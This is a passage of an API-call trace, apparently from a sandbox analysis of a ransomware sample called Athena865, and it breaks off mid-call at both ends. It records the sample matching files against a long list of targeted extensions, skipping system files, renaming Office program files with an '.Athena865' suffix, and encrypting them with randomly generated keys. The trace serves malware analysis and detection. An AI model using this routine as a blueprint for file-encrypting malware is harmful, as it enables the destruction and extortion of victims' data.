returned -1 [0068.199] lstrlenW (lpString="ns3") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0068.199] lstrlenW (lpString="ns4") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0068.199] lstrlenW (lpString="nsf") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0068.199] lstrlenW (lpString="nv") returned 2 [0068.199] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0068.199] lstrlenW (lpString="nv2") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0068.199] lstrlenW (lpString="nwdb") returned 4 [0068.199] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0068.199] lstrlenW (lpString="nyf") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0068.199] lstrlenW (lpString="odb") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0068.199] lstrlenW (lpString="odb") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0068.199] lstrlenW (lpString="oqy") returned 3 [0068.199] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0068.199] lstrlenW (lpString="ora") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0068.200] lstrlenW (lpString="orx") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0068.200] lstrlenW (lpString="owc") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0068.200] lstrlenW (lpString="p96") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0068.200] lstrlenW (lpString="p97") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0068.200] lstrlenW (lpString="pan") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0068.200] lstrlenW (lpString="pdb") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0068.200] lstrlenW (lpString="pdm") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0068.200] lstrlenW (lpString="pnz") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0068.200] lstrlenW (lpString="qry") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0068.200] lstrlenW (lpString="qvd") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0068.200] lstrlenW (lpString="rbf") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0068.200] lstrlenW (lpString="rctd") returned 4 [0068.200] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0068.200] lstrlenW (lpString="rod") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0068.200] lstrlenW (lpString="rodx") returned 4 [0068.200] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0068.200] lstrlenW (lpString="rpd") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0068.200] lstrlenW (lpString="rsd") returned 3 [0068.200] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0068.201] lstrlenW (lpString="sas7bdat") returned 8 [0068.201] lstrcmpiW (lpString1="tr32.dll", lpString2="sas7bdat") returned 1 [0068.201] lstrlenW (lpString="sbf") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0068.201] lstrlenW (lpString="scx") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0068.201] lstrlenW (lpString="sdb") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0068.201] lstrlenW (lpString="sdc") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0068.201] lstrlenW (lpString="sdf") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0068.201] lstrlenW (lpString="sis") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0068.201] lstrlenW (lpString="spq") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0068.201] lstrlenW (lpString="te") returned 2 [0068.201] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0068.201] lstrlenW (lpString="teacher") returned 7 [0068.201] lstrcmpiW (lpString1="r32.dll", lpString2="teacher") returned -1 [0068.201] lstrlenW (lpString="tmd") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0068.201] lstrlenW (lpString="tps") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0068.201] lstrlenW (lpString="trc") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0068.201] lstrlenW (lpString="trc") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0068.201] lstrlenW (lpString="trm") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0068.201] lstrlenW (lpString="udb") returned 3 [0068.201] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0068.201] lstrlenW (lpString="udl") returned 3 [0068.202] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0068.202] lstrlenW (lpString="usr") returned 3 [0068.202] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0068.202] lstrlenW (lpString="v12") returned 3 [0068.202] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0068.202] lstrlenW (lpString="vis") returned 3 [0068.202] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0068.202] lstrlenW (lpString="vpd") returned 3 [0068.202] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0068.202] lstrlenW (lpString="vvv") returned 3 [0068.202] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0068.202] lstrlenW (lpString="wdb") returned 3 [0068.202] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0068.202] lstrlenW (lpString="wmdb") returned 4 [0068.202] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0068.202] lstrlenW (lpString="wrk") returned 3 [0068.202] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0068.202] lstrlenW (lpString="xdb") returned 3 [0068.202] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0068.202] lstrlenW (lpString="xld") returned 3 [0068.202] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0068.202] lstrlenW (lpString="xmlff") returned 5 [0068.202] lstrcmpiW (lpString1="2.dll", lpString2="xmlff") returned -1 [0068.202] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll.Athena865") returned 65 [0068.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll.athena865"), dwFlags=0x1) returned 1 [0068.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.384] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=167808) returned 1 [0068.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0068.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.385] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.385] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.385] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.386] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29280, lpName=0x0) returned 0x154 [0068.388] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29280) returned 0x170000 [0068.417] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.418] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.418] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.419] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0068.420] CloseHandle (hObject=0x154) returned 1 [0068.420] CloseHandle (hObject=0x17c) returned 1 [0068.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0068.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.421] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x5812f0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x1b780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSSync.exe", cAlternateFileName="")) returned 1 [0068.421] lstrcmpiW (lpString1="BCSSync.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.421] lstrcmpiW (lpString1="BCSSync.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.421] lstrcmpiW (lpString1="BCSSync.exe", lpString2=".") returned 1 [0068.421] lstrcmpiW (lpString1="BCSSync.exe", lpString2="..") returned 1 [0068.421] lstrcmpiW (lpString1="BCSSync.exe", lpString2="windows") returned -1 [0068.421] lstrcmpiW (lpString1="BCSSync.exe", lpString2="bootmgr") returned -1 [0068.421] lstrcmpiW (lpString1="BCSSync.exe", lpString2="temp") returned -1 [0068.421] lstrcmpiW (lpString1="BCSSync.exe", lpString2="pagefile.sys") returned -1 [0068.421] lstrcmpiW (lpString1="BCSSync.exe", lpString2="boot") returned -1 [0068.421] lstrcmpiW (lpString1="BCSSync.exe", lpString2="ids.txt") returned -1 [0068.422] lstrcmpiW (lpString1="BCSSync.exe", lpString2="ntuser.dat") returned -1 [0068.422] lstrcmpiW (lpString1="BCSSync.exe", lpString2="perflogs") returned -1 [0068.422] lstrcmpiW (lpString1="BCSSync.exe", lpString2="MSBuild") returned -1 [0068.422] lstrlenW (lpString="BCSSync.exe") returned 11 [0068.422] lstrcpyW (in: lpString1=0x241e89e, lpString2="BCSSync.exe" | out: lpString1="BCSSync.exe") returned="BCSSync.exe" [0068.422] lstrlenW (lpString="BCSSync.exe") returned 11 [0068.422] lstrlenW (lpString="Athena865") returned 9 [0068.422] lstrcmpiW (lpString1="SSync.exe", lpString2="Athena865") returned 1 [0068.422] lstrlenW (lpString=".dll") returned 4 [0068.422] lstrcmpiW (lpString1="BCSSync.exe", lpString2=".dll") returned 1 [0068.422] lstrlenW (lpString=".lnk") returned 4 [0068.422] lstrcmpiW (lpString1="BCSSync.exe", lpString2=".lnk") returned 1 [0068.422] lstrlenW (lpString=".ini") returned 4 [0068.422] lstrcmpiW (lpString1="BCSSync.exe", lpString2=".ini") returned 1 [0068.422] lstrlenW (lpString=".sys") returned 4 [0068.422] lstrcmpiW (lpString1="BCSSync.exe", lpString2=".sys") returned 1 [0068.422] lstrlenW (lpString="BCSSync.exe") returned 11 [0068.422] lstrlenW (lpString="bak") returned 3 [0068.422] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0068.422] lstrlenW (lpString="ba_") returned 3 [0068.422] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0068.422] lstrlenW (lpString="dbb") returned 3 [0068.422] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0068.422] lstrlenW (lpString="vmdk") returned 4 [0068.422] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0068.422] lstrlenW (lpString="rar") returned 3 [0068.422] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0068.422] lstrlenW (lpString="zip") returned 3 [0068.422] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0068.422] lstrlenW (lpString="tgz") returned 3 [0068.422] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0068.422] lstrlenW (lpString="vbox") returned 4 [0068.423] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0068.423] lstrlenW (lpString="vdi") returned 3 [0068.423] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0068.423] lstrlenW (lpString="vhd") returned 3 [0068.423] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0068.423] lstrlenW (lpString="vhdx") returned 4 [0068.423] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0068.423] lstrlenW (lpString="avhd") returned 4 [0068.423] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0068.423] lstrlenW (lpString="db") returned 2 [0068.423] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0068.423] lstrlenW (lpString="db2") returned 3 [0068.423] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0068.423] lstrlenW (lpString="db3") returned 3 [0068.423] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0068.423] lstrlenW (lpString="dbf") returned 3 [0068.423] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0068.423] lstrlenW (lpString="mdf") returned 3 [0068.423] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0068.423] lstrlenW (lpString="mdb") returned 3 [0068.423] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0068.423] lstrlenW (lpString="sql") returned 3 [0068.423] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0068.423] lstrlenW (lpString="sqlite") returned 6 [0068.423] lstrcmpiW (lpString1="nc.exe", lpString2="sqlite") returned -1 [0068.423] lstrlenW (lpString="sqlite3") returned 7 [0068.423] lstrcmpiW (lpString1="ync.exe", lpString2="sqlite3") returned 1 [0068.423] lstrlenW (lpString="sqlitedb") returned 8 [0068.423] lstrcmpiW (lpString1="Sync.exe", lpString2="sqlitedb") returned 1 [0068.424] lstrlenW (lpString="xml") returned 3 [0068.424] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0068.424] lstrlenW (lpString="$er") returned 3 [0068.424] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0068.424] lstrlenW (lpString="4dd") returned 3 [0068.424] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0068.424] lstrlenW (lpString="4dl") returned 3 [0068.424] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0068.424] lstrlenW (lpString="^^^") returned 3 [0068.424] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0068.424] lstrlenW (lpString="abs") returned 3 [0068.424] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0068.424] lstrlenW (lpString="abx") returned 3 [0068.424] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0068.424] lstrlenW (lpString="accdb") returned 5 [0068.424] lstrcmpiW (lpString1="c.exe", lpString2="accdb") returned 1 [0068.424] lstrlenW (lpString="accdc") returned 5 [0068.424] lstrcmpiW (lpString1="c.exe", lpString2="accdc") returned 1 [0068.424] lstrlenW (lpString="accde") returned 5 [0068.424] lstrcmpiW (lpString1="c.exe", lpString2="accde") returned 1 [0068.424] lstrlenW (lpString="accdr") returned 5 [0068.424] lstrcmpiW (lpString1="c.exe", lpString2="accdr") returned 1 [0068.424] lstrlenW (lpString="accdt") returned 5 [0068.424] lstrcmpiW (lpString1="c.exe", lpString2="accdt") returned 1 [0068.424] lstrlenW (lpString="accdw") returned 5 [0068.424] lstrcmpiW (lpString1="c.exe", lpString2="accdw") returned 1 [0068.424] lstrlenW (lpString="accft") returned 5 [0068.424] lstrcmpiW (lpString1="c.exe", lpString2="accft") returned 1 [0068.424] lstrlenW (lpString="adb") returned 3 [0068.424] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0068.424] lstrlenW (lpString="adb") returned 3 [0068.424] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0068.425] lstrlenW (lpString="ade") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0068.425] lstrlenW (lpString="adf") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0068.425] lstrlenW (lpString="adn") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0068.425] lstrlenW (lpString="adp") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0068.425] lstrlenW (lpString="alf") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0068.425] lstrlenW (lpString="ask") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0068.425] lstrlenW (lpString="btr") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0068.425] lstrlenW (lpString="cat") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0068.425] lstrlenW (lpString="cdb") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0068.425] lstrlenW (lpString="ckp") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0068.425] lstrlenW (lpString="cma") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0068.425] lstrlenW (lpString="cpd") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0068.425] lstrlenW (lpString="dacpac") returned 6 [0068.425] lstrcmpiW (lpString1="nc.exe", lpString2="dacpac") returned 1 [0068.425] lstrlenW (lpString="dad") returned 3 [0068.425] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0068.425] lstrlenW (lpString="dadiagrams") returned 10 [0068.425] lstrcmpiW (lpString1="CSSync.exe", lpString2="dadiagrams") returned -1 [0068.425] lstrlenW (lpString="daschema") returned 8 [0068.425] lstrcmpiW (lpString1="Sync.exe", lpString2="daschema") returned 1 [0068.425] lstrlenW (lpString="db-journal") returned 10 [0068.426] lstrcmpiW (lpString1="CSSync.exe", lpString2="db-journal") returned -1 [0068.426] lstrlenW (lpString="db-shm") returned 6 [0068.426] lstrcmpiW (lpString1="nc.exe", lpString2="db-shm") returned 1 [0068.426] lstrlenW (lpString="db-wal") returned 6 [0068.426] lstrcmpiW (lpString1="nc.exe", lpString2="db-wal") returned 1 [0068.426] lstrlenW (lpString="dbc") returned 3 [0068.426] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0068.426] lstrlenW (lpString="dbs") returned 3 [0068.426] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0068.426] lstrlenW (lpString="dbt") returned 3 [0068.426] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0068.426] lstrlenW (lpString="dbv") returned 3 [0068.426] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0068.426] lstrlenW (lpString="dbx") returned 3 [0068.426] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0068.426] lstrlenW (lpString="dcb") returned 3 [0068.426] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0068.426] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0068.426] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe.Athena865") returned 64 [0068.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe.athena865"), dwFlags=0x1) returned 1 [0068.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.427] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=112512) returned 1 [0068.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0068.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.428] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.429] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.429] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.429] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ba80, lpName=0x0) returned 0x154 [0068.430] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ba80) returned 0x100000 [0068.436] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.437] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.437] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.438] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0068.439] CloseHandle (hObject=0x154) returned 1 [0068.439] CloseHandle (hObject=0x17c) returned 1 [0068.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0068.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.441] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x65ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bdcmetadata.xsd", cAlternateFileName="BDCMET~2.XSD")) returned 1 [0068.441] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.441] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.441] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2=".") returned 1 [0068.441] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="..") returned 1 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="windows") returned -1 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="bootmgr") returned -1 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="temp") returned -1 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="pagefile.sys") returned -1 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="boot") returned -1 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="ids.txt") returned -1 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="ntuser.dat") returned -1 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="perflogs") returned -1 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2="MSBuild") returned -1 [0068.442] lstrlenW (lpString="bdcmetadata.xsd") returned 15 [0068.442] lstrcpyW (in: lpString1=0x241e89e, lpString2="bdcmetadata.xsd" | out: lpString1="bdcmetadata.xsd") returned="bdcmetadata.xsd" [0068.442] lstrlenW (lpString="bdcmetadata.xsd") returned 15 [0068.442] lstrlenW (lpString="Athena865") returned 9 [0068.442] lstrcmpiW (lpString1="adata.xsd", lpString2="Athena865") returned -1 [0068.442] lstrlenW (lpString=".dll") returned 4 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2=".dll") returned 1 [0068.442] lstrlenW (lpString=".lnk") returned 4 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2=".lnk") returned 1 [0068.442] lstrlenW (lpString=".ini") returned 4 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2=".ini") returned 1 [0068.442] lstrlenW (lpString=".sys") returned 4 [0068.442] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2=".sys") returned 1 [0068.442] lstrlenW (lpString="bdcmetadata.xsd") returned 15 [0068.442] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd.Athena865") returned 68 [0068.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 